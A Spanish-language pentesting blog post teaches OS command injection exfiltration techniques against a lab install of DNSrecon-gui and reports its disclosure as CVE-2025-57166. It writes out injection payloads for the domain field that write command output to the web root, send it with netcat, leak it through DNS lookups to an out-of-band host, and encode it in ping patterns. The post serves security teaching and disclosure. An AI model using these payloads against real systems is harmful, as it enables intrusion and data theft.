Una de las vulnerabilidades que más nos emocionan a los pentesters y bughunters auditando aplicaciones web son los conocidos RCE (Remote Code Execution), no por nada se llevan la pole en cualquier clasificación de criticidad de vulnerabilidades y en los programas de Bug Bounty por lo general se suelen estar bastante bien pagadas.
Ahora bien, cuando hablamos de Inyecciones de Comandos en el Sistema Operativo o simplemente por su denominación en ingles como «OS command injection», en ocasiones se confunde su significado con lo que se entiende como RCE, que aunque potencialmente vinculadas, no son lo mismo. Básicamente debemos asimilar que en esta segunda vulnerabilidad (RCE), el código ejecutado está en el lenguaje de la aplicación y se ejecuta dentro del contexto de la misma, por tanto, es lo que se conoce como un resultado o consecuencia. Mientras que en el OS command injection, el potencial atacante adquiere la capacidad de ejecutar comandos del propio sistema operativo. Con esta aclaración dada, vamos a revisar algunas técnicas y trucos de los que podemos valernos cuando tengamos oportunidades de explotar esta ventajosa vulnerabilidad.

DNSrecon-gui como laboratorio

En este caso vamos a emplear como laboratorio una herramienta que liberaba por Joan Moya (aka MicroJoan) allá por el 12 de diciembre del 2022 a través de su Github: https://github.com/micro-joan/DNSrecon-gui.

En su momento, revisando el código fuente de esta herramienta, me topé con la siguiente oportunidad de aprovechamiento:

En donde, básicamente tenemos la variable $domain que es recogida a través de una petición POST y que es anidada sin sanitizar como argumento de la utilidad del sistema operativo denominada dnsrecon, por tanto podemos interrumpir oportunamente la ejecución del comando y añadir nuestra nueva orden, veamos como funcionaría esto en una terminal.

El funcionamiento normalizado del comando dnsrecon arrojaría un resultado como este:

Si pretendemos sumar un comando al dominio que ya tenemos definido en la variable $domain, tendremos que hacer uso de un separador de comandos, que en este caso será | (pipe). También emplearemos las curiosas comillas invertidas ` para realizar la ejecución en una línea del comando inyectado dentro del propio comando original (Alternativamente también se puede emplear $()).

Otros separadores que se pueden emplear son los documentados por PortSwigger:

Bien, visto esto, es momento de hacer el repaso de algunas técnicas y trucos, esta vez vayamos a la aplicación de laboratorio.

Salida en una ruta web accesible

Dando por asumido que la aplicación web no devuelve directamente el resultado del comando ejecutado, nuestro interés pasa por dirigir la salida del comando a un fichero que posteriormente podamos leer. En este caso tomaremos la ruta por defecto de las aplicaciones web en Linux: /var/www/html/

domain.tld|echo $(whoami > /var/www/html/out.txt)

Ya luego solo será necesario ir a la URL del fichero generado para leer la salida del comando ejecutado:

Limitaciones

Como limitaciones de esta técnica está la necesidad de conocer o intuir la ruta donde se aloja la aplicación y que podamos contar con los permisos necesarios para la escritura del fichero de texto. Si la ruta no fuera por defecto nos tocará hacer un trabajo previo de reconocimiento mayor del objetivo.

Salida a un puerto a la escucha

Otra forma de hacernos con la salida del comando ejecutado es mediante la escucha TCP en un puerto específico. En este caso emplearemos Netcat para la transferencia:

domain.tld|`nc 127.0.0.1 8855 -c whoami`

En nuestra ventana de recepción recibiremos el comando ejecutado de la siguiente forma:

Limitaciones

Obviamente dependemos de que la comunicación sea autorizada, para este entorno de laboratorio no existen elementos de red intermedios, pero en un entorno del mundo real, seguramente tengamos que lidiar con un potente FW y sus reglas, que en caso de que no tenga autorizado el puerto que empleamos para la exfiltración, ya podemos esperar sentados la salida del comando que jamás llegará.

Salida mediante técnicas fuera de banda (OAST)

Para esta técnica precisamos contar con algún host que nos permita vigilar las solicitudes DNS que se generen en nuestro activo de atacante. Lo que haremos aquí será «forzar» que la aplicación web resuelva un dominio DNS mediante nslookup, para la composición emplearemos la salida del comando que irá anidada en la resolución que enviemos. De la siguiente manera:

domain.tld|nslookup `whoami`.d7ce88ce-****-****-****-cb64cd39.dnshook.site &

Yendo a nuestro host, en este caso estoy empleando la utilidad web Webhook.site, pero podéis emplear cualquier otra alternativa como el Collaborator de Burp, Interactsh, Pipedream o RequestBin, entre otros. Lograrás ver la interacción del objetivo contra este host en forma de peticiones DNS que revelan la salida del comando lanzado:

Limitaciones

De las principales limitaciones que observo en esta técnica son que en un entorno real, dependeremos de la conectividad saliente, depende de en que punto de la red estemos, el comando podrá llegar a nuestro host o no, aquí se puede pasar por elementos de la red como FW, proxys e inclusos NATeos. Otro escollo reseñable es que en un entorno especialmente vigilado y monitorizado, los sistemas de seguridad como IDS, IPS, WAF y AV, podrían alertar de estas interacciones del activo objetivo. Una rápida respuesta por parte del Blue Team, podrían convertir nuestro primer intento en una «única bala».

Salida mediante tráfico ICMP

Una de las pruebas iniciales que realiza cualquier escáner además del típico sleep, es mediante el comando ping, del cual podría inferir que el comando se ejecuta en backend por el tiempo de respuesta de la aplicación. En este caso también apoyados en ping podemos emplear la opción -p(pattern) para exfiltrar la salida de un comando, tal y como se muestra a continuación:

domain.tld|`ping 127.0.0.1 -c1 -p $(whoami | xxd -ps)`

Definimos el argumento -c como 1 para no generar muchas trazas ICMP y como valor del argumento -p será necesario indicar el resultado en hexadecimal para que pueda ser procesado, en este caso nos apoyaremos en el comando xxd.

En ocasiones nos encontraremos en organizaciones donde el tráfico ICMP no se encuentre bloqueado por que se emplea para verificar la conectividad entre equipos y por tanto es cuando podremos abusar de esta funcionalidad para estas verificaciones básicas.

Limitaciones

Como he adelantado anteriormente, lo mismo este no es el método más idóneo para una exfiltración efectiva y/o masiva, ping tiene sus condicionantes y de pretender emplearlo necesitaremos controlar los límites de los paquetes que se envían y reconstruirlos en destino, tal y como lo haría un C2.

Estas fueron las técnicas y trucos que se me ocurrieron recopilar para esta entrada del blog, espero que sea de provecho para vosotros.

Notificación de la vulnerabilidad en DNSrecon-gui

Respecto a la vulnerabilidad en DNSrecon-gui, en su momento decidí reportarla al desarrollador mediante la plataforma Huntr:

No obstante, nunca recibí respuesta y tampoco la plataforma, quienes levantaron un caso en el apartado Issues del Github.

Pasado el tiempo, escale este asunto hasta MITRE, quienes finalmente me respondieron el pasado Septiembre indicando que podía emplear el ID CVE-2025-57166 para referenciar a esta vulnerabilidad.

Referencias: